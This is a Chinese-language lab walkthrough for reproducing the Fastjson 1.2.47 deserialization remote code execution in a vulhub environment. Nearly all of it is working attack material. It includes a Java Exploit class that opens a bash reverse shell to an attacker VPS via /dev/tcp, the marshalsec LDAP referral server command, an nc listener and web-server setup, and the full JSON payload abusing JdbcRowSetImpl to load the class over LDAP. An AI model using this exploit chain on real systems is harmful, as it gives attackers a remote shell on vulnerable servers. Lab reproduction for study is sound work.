Fastjson-1.2.47反序列化漏洞复现
提前准备:
1、使用vulhub来启动环境
2、VPS1:查看Java版本
[root@clean-post-1 ~]# java -version openjdk version "1.8.0_262" OpenJDK Runtime Environment (build 1.8.0_262-b10)
3、VPS2:nc -lvvp 1111 进行监听
进一步设置:
Exploit.java文件,Exploit.class文件,marshalsec-0.0.3-SNAPSHOT-all.jar 这三个文件必须在一个文件夹里
构造恶意的CLASS文件从而REC
- 创建Exploit.java文件
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPS2的IP/1111 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
- 编译成class文件,生成Exploit.class
javac Exploit.java
启动LDAP服务和WEB服务(这里我的LDAP和WEB服务都是在VPS1上启动的)
- 在启动LDAP服务前需要使用marshalsec来启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS1的IP/#Exploit 7777
- 启动WEB服务
python2 -m http.server 80
到目前为止所有配置已经完成
最后干就完了!
- 浏览器访问docker启动的jastjson环境
http://docker环境IP:8090/
- burp抓包修改包 `POST / HTTP/1.1 Host: docker环境IP:8090 Content-Type: application/json Content-Length: 271 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://VPS1的IP:7777/Exploit", "autoCommit":true } }`
最后结果图
Q.E.D.